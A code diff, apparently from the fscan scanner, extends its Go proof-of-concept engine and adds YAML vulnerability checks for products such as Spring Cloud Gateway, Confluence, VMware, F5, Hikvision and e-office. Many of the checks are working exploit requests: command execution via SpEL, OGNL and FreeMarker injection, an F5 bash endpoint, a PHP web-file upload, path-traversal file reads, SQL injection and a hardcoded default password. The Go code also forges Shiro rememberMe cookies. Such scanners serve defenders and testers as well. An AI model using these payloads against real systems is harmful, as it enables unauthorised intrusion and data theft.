rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look3
}
}
}
}
if success == false {
break
}
if strings.Contains(rule.Body, "{{"+key+"}}") {
return true
}
}
return success, nil
return false
}
func Combo(input ListMap) (output [][]string) {
if len(input) > 1 {
output = Combo(input[1:])
output = MakeData(output, input[0].Value)
} else {
for _, i := range input[0].Value {
output = append(output, []string{i})
}
}
return
}
func MakeData(base [][]string, nextData []string) (output [][]string) {
for i := range base {
for _, j := range nextData {
output = append(output, append([]string{j}, base[i]...))
}
}
return
}
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
if strings.Contains(v2, "{{"+k1+"}}") {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
@@ -615,14 +420,19 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
//
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error:",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
@@ -639,9 +449,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
fmt.Println(rule.Expression, err)
}
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
@@ -671,58 +483,31 @@ func cloneMap(tags map[string]string) map[string]string {
return cloneTags
}
func cloneMap1(tags map[string]interface{}) map[string]interface{} {
cloneTags := make(map[string]interface{})
for k, v := range tags {
cloneTags[k] = v
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
return cloneTags
return err, fmt.Sprintf("%v", variableMap[k])
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
func evalset(env *cel.Env, variableMap map[string]interface{}) {
for k := range variableMap {
expression := fmt.Sprintf("%v", variableMap[k])
if !strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
variableMap[k] = expression
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = fmt.Sprintf("%v", value)
case []uint8:
variableMap[k] = fmt.Sprintf("%v", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
for k := range variableMap {
expression := fmt.Sprintf("%v", variableMap[k])
if strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
fmt.Println(err)
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
}
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
func CheckInfoPoc(infostr string) string {
+21 -3
View File
@@ -1,8 +1,11 @@
package lib
import (
"context"
"crypto/tls"
"errors"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"log"
"net"
"net/http"
@@ -20,13 +23,14 @@ var (
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
@@ -36,13 +40,24 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: 2,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if DownProxy != "" {
if common.Socks5Proxy != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("Failed type assertion to DialContext")
}
} else if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
@@ -50,6 +65,9 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("no support this proxy")
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
+97 -4
View File
@@ -5,6 +5,7 @@ import (
"compress/gzip"
"crypto/md5"
"encoding/base64"
"encoding/hex"
"fmt"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/checker/decls"
@@ -175,6 +176,26 @@ func NewEnvOption() CustomLib {
decls.NewInstanceOverload("icontains_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("TDdate",
decls.NewOverload("tongda_date",
[]*exprpb.Type{},
decls.String)),
decls.NewFunction("shirokey",
decls.NewOverload("shiro_key",
[]*exprpb.Type{decls.String, decls.String},
decls.String)),
decls.NewFunction("startsWith",
decls.NewInstanceOverload("startsWith_bytes",
[]*exprpb.Type{decls.Bytes, decls.Bytes},
decls.Bool)),
decls.NewFunction("istartsWith",
decls.NewInstanceOverload("startsWith_string",
[]*exprpb.Type{decls.String, decls.String},
decls.Bool)),
decls.NewFunction("hexdecode",
decls.NewInstanceOverload("hexdecode",
[]*exprpb.Type{decls.String},
decls.Bytes)),
),
}
c.programOptions = []cel.ProgramOption{
@@ -407,6 +428,75 @@ func NewEnvOption() CustomLib {
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "tongda_date",
Function: func(value ...ref.Val) ref.Val {
return types.String(time.Now().Format("0601"))
},
},
&functions.Overload{
Operator: "shiro_key",
Binary: func(key ref.Val, mode ref.Val) ref.Val {
v1, ok := key.(types.String)
if !ok {
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
}
v2, ok := mode.(types.String)
if !ok {
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
}
cookie := GetShrioCookie(string(v1), string(v2))
if cookie == "" {
return types.NewErr("%v", "key b64decode failed")
}
return types.String(cookie)
},
},
&functions.Overload{
Operator: "startsWith_bytes",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.Bytes)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
}
v2, ok := rhs.(types.Bytes)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
}
// 不区分大小写包含
return types.Bool(bytes.HasPrefix(v1, v2))
},
},
&functions.Overload{
Operator: "startsWith_string",
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
}
v2, ok := rhs.(types.String)
if !ok {
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
}
// 不区分大小写包含
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
},
},
&functions.Overload{
Operator: "hexdecode",
Unary: func(lhs ref.Val) ref.Val {
v1, ok := lhs.(types.String)
if !ok {
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
}
out, err := hex.DecodeString(string(v1))
if err != nil {
return types.ValOrErr(lhs, "hexdecode error: %v", err)
}
// 不区分大小写包含
return types.Bytes(out)
},
},
),
}
return c
@@ -421,8 +511,9 @@ func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions
}
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
for k, v := range args {
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args {
k, v := item.Key, item.Value
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
var d *exprpb.Decl
@@ -456,7 +547,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
time.Sleep(time.Second * time.Duration(timeout))
sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
fmt.Println(urlStr)
//fmt.Println(urlStr)
req, _ := http.NewRequest("GET", urlStr, nil)
resp, err := DoRequest(req, false)
if err != nil {
@@ -508,11 +599,13 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
oResp, err = ClientNoRedirect.Do(req)
}
if err != nil {
//fmt.Println("[-]DoRequest error: ",err)
return nil, err
}
defer oResp.Body.Close()
resp, err := ParseResponse(oResp)
if err != nil {
common.LogError("[-]ParseResponse error: " + err.Error())
return nil, err
}
return resp, err
@@ -591,7 +684,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20)))
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, 10240))
if err != nil {
return nil, err
}
+91 -11
View File
@@ -7,19 +7,98 @@ import (
"embed"
"fmt"
"github.com/golang/protobuf/proto"
"gopkg.in/yaml.v3"
"gopkg.in/yaml.v2"
"io/ioutil"
"math"
"strings"
)
type Poc struct {
Name string `yaml:"name"`
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Groups map[string][]Rules `yaml:"groups"`
Detail Detail `yaml:"detail"`
Name string `yaml:"name"`
Set StrMap `yaml:"set"`
Sets ListMap `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Groups RuleMap `yaml:"groups"`
Detail Detail `yaml:"detail"`
}
type MapSlice = yaml.MapSlice
type StrMap []StrItem
type ListMap []ListItem
type RuleMap []RuleItem
type StrItem struct {
Key, Value string
}
type ListItem struct {
Key string
Value []string
}
type RuleItem struct {
Key string
Value []Rules
}
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
// var tmp yaml.MapSlice
// if err := unmarshal(&tmp); err != nil {
// return err
// }
// //for _,one := range tmp{
// // key,value := one.Key.(string),one.Value.(string)
// // *r = append(*r,StrItem{key,value})
// //}
// return nil
//}
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key := one.Key.(string)
var value []string
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
type Rules struct {
@@ -30,6 +109,7 @@ type Rules struct {
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
Continue bool `yaml:"continue"`
}
type Detail struct {
@@ -400,12 +480,12 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
return nil, err
}
return p, err
@@ -429,12 +509,12 @@ func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
data, err := ioutil.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
return nil, err
}
return p, err
+73
View File
@@ -0,0 +1,73 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
func Padding(plainText []byte, blockSize int) []byte {
//计算要填充的长度
n := (blockSize - len(plainText)%blockSize)
//对原来的明文填充n个n
temp := bytes.Repeat([]byte{byte(n)}, n)
plainText = append(plainText, temp...)
return plainText
}
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
} else {
//cbc
return AES_CBC_Encrypt(key)
}
}
//AES CBC加密后的payload
func AES_CBC_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
Content = Padding(Content, block.BlockSize())
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
cipherText := make([]byte, len(Content))
blockMode.CryptBlocks(cipherText, Content) //加密数据
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
}
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
func AES_GCM_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
nonce := make([]byte, 16)
_, err = io.ReadFull(rand.Reader, nonce)
if err != nil {
return ""
}
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}
@@ -0,0 +1,11 @@
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
rules:
- method: GET
path: /jbossmq-httpil/HTTPServerILServlet
expression: |
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
detail:
author: mamba
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
+44
View File
@@ -0,0 +1,44 @@
name: Spring-Cloud-CVE-2022-22947
set:
router: randomLowercase(8)
rand1: randomInt(800000000, 1000000000)
rand2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
body: |
{
"id": "{{router}}",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
expression: response.status == 201
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
- method: GET
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
- method: DELETE
path: /actuator/gateway/routes/{{router}}
expression: response.status == 200
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
detail:
author: jweny
description: Spring Cloud Gateway Code Injection
links:
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
@@ -0,0 +1,11 @@
name: poc-yaml-CVE-2022-22954-VMware-RCE
rules:
- method: GET
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
expression: |
response.status == 400 && "device id:".bmatches(response.body)
detail:
author: mamba
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
+16
View File
@@ -0,0 +1,16 @@
name: Confluence-CVE-2022-26134
rules:
- method: GET
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
detail:
author: zan8in
description: |
Atlassian Confluence OGNL注入漏洞
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
app="ATLASSIAN-Confluence"
links:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
@@ -0,0 +1,25 @@
name: poc-yaml-apache-axis-webservice-detect
sets:
path:
- services
- servlet/AxisaxiServlet
- servlet/AxisServlet
- services/listServices
- services/FreeMarkerService
- services/AdminService
- axis/services
- axis2/services
- axis/servlet/AxisServlet
- axis2/servlet/AxisServlet
- axis2/services/listServices
- axis/services/FreeMarkerService
- axis/services/AdminService
rules:
- method: GET
path: /{{path}}
expression: |
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
detail:
author: AgeloVito
links:
- https://paper.seebug.org/1489
+64
View File
@@ -0,0 +1,64 @@
name: poc-yaml-backup-file
set:
host: request.url.domain
sets:
path:
- "sql"
- "www"
- "wwwroot"
- "index"
- "backup"
- "back"
- "data"
- "web"
- "db"
- "database"
- "ftp"
- "admin"
- "upload"
- "package"
- "sql"
- "old"
- "test"
- "root"
- "beifen"
- host
ext:
- "zip"
- "7z"
- "rar"
- "gz"
- "tar.gz"
- "db"
- "bak"
rules:
- method: GET
path: /{{path}}.{{ext}}
follow_redirects: false
continue: true
expression: |
response.content_type.contains("application/") &&
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
response.body.startsWith("314159265359".hexdecode()) ||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
response.body.startsWith("1f8b".hexdecode()) ||
response.body.startsWith("526172211A0700".hexdecode()) ||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
response.body.startsWith("1F9D".hexdecode()) ||
response.body.startsWith("1FA0".hexdecode()) ||
response.body.startsWith("4C5A4950".hexdecode()) ||
response.body.startsWith("504B0304".hexdecode()) )
# - "377ABCAF271C" # 7z
# - "314159265359" # bz2
# - "53514c69746520666f726d6174203300" # SQLite format 3.
# - "1f8b" # gz tar.gz
# - "526172211A0700" # rar RAR archive version 1.50
# - "526172211A070100" # rar RAR archive version 5.0
# - "FD377A585A0000" # xz tar.xz
# - "1F9D" # z tar.z
# - "1FA0" # z tar.z
# - "4C5A4950" # lz
# - "504B0304" # zip
detail:
author: shadown1ng(https://github.com/shadown1ng)
+12
View File
@@ -0,0 +1,12 @@
name: poc-yaml-django-CVE-2018-14574
rules:
- method: GET
path: //www.example.com
follow_redirects: false
expression: response.status == 301 && response.headers['location']=="//www.example.com/"
detail:
author: ivan
links:
- https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574
+14
View File
@@ -0,0 +1,14 @@
name: e-office-v10-sql-inject
rules:
- method: GET
path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b'<p>未找到相关数据</p>')
detail:
author: Print1n(https://github.com/Print1n)
description: |
泛微 eoffice v10 前台 SQL 注入
FOFAfid="2csJpuWtfTdSAavIfJTuBw=="
links:
- https://www.hedysx.com/2777.html
@@ -0,0 +1,23 @@
name: poc-yaml-e-office-v9-upload-cnvd-2021-49104
manual: true
transport: http
set:
r1: randomLowercase(8)
rules:
- method: POST
path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
headers:
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
body: "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo \"{{r1}}\"; unlink(__FILE__); ?>\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n\r\n"
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"logo-eoffice")
- method: GET
path: /images/logo/logo-eoffice.php
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
detail:
author: we1x4n
links:
- https://blog.csdn.net/weixin_44309905/article/details/121588557
@@ -0,0 +1,13 @@
name: poc-yaml-ezoffice-downloadhttp.jsp-filedownload
rules:
- method: GET
path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp
follow_redirects: false
expression: |
response.status == 200 && response.headers["filename"].contains("../public/edit/jsp/config.jsp")
detail:
author: PeiQi0
links:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20downloadhttp.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
tags: ezoffice,file,download
+21
View File
@@ -0,0 +1,21 @@
name: poc-yaml-f5-cve-2022-1388
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /mgmt/tm/util/bash
headers:
Content-Type: application/json
Connection: keep-alive, x-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic YWRtaW46
body: >-
{"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: jindaxia
links:
- https://support.f5.com/csp/article/K23605346
+19
View File
@@ -0,0 +1,19 @@
name: poc-yaml-fckeditor-info
sets:
path:
- "/fckeditor/_samples/default.html"
- "/fckeditor/editor/filemanager/connectors/uploadtest.html"
- "/ckeditor/samples/"
- "/editor/ckeditor/samples/"
- "/ckeditor/samples/sample_posteddata.php"
- "/editor/ckeditor/samples/sample_posteddata.php"
- "/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"
- "/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php"
rules:
- method: GET
path: /{{path}}
follow_redirects: false
expression: |
response.body.bcontains(b'<title>FCKeditor') || response.body.bcontains(b'<title>CKEditor Samples</title>') || response.body.bcontains(b'http://ckeditor.com</a>') || response.body.bcontains(b'Custom Uploader URL:') || response.body.bcontains(b'init_spell()') || response.body.bcontains(b"'tip':'")
detail:
author: shadown1ng(https://github.com/shadown1ng)
@@ -0,0 +1,15 @@
name: hikvision-gateway-data-file-read
rules:
- method: GET
path: /data/login.php::$DATA
expression: |
response.status == 200 && response.body.bcontains(b'DataBaseQuery();') && response.body.bcontains(b'$_POST[\'userName\'];') && response.body.bcontains(b'$_POST[\'password\'];')
info:
author: zan8in
description: |
HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
HIKVISION 视频编码设备接入网关存在配置错误特性,特殊后缀请求php文件可读取源码
title="视频编码设备接入网关"
links:
- http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20$DATA%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html
@@ -0,0 +1,13 @@
name: hikvision-showfile-file-read
rules:
- method: GET
path: /serverLog/showFile.php?fileName=../web/html/main.php
expression: |
response.status == 200 && response.body.bcontains(b'$_SERVER[\'HTTP_HOST\'];') && response.body.bcontains(b'$_POST[\'userName\'];')
info:
author: zan8in
description: |
海康威视视频接入网关系统在页面/serverLog/showFile.php的参数fileName存在任意文件下载漏洞
title="视频编码设备接入网关"
links:
- http://wiki.peiqi.tech/wiki/iot/HIKVISION/HIKVISION%20%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81%E8%AE%BE%E5%A4%87%E6%8E%A5%E5%85%A5%E7%BD%91%E5%85%B3%20showFile.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html
@@ -0,0 +1,13 @@
name: poc-yaml-sangfor-ad-download.php-filedownload
rules:
- method: GET
path: /report/download.php?pdf=../../../../../etc/hosts
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts')
detail:
author: PeiQi0
links:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
tags: sangfor,file,download
@@ -0,0 +1,18 @@
name: poc-yaml-seeyon-oa-a8-m-information-disclosure
manual: true
transport: http
rules:
- method: GET
path: /seeyon/management/index.jsp
expression: response.status == 200
- method: POST
path: /seeyon/management/index.jsp
headers:
Content-Type: application/x-www-form-urlencoded
body: password=WLCCYBD%40SEEYON
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size"))
detail:
author: Monday
links:
- http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
+155
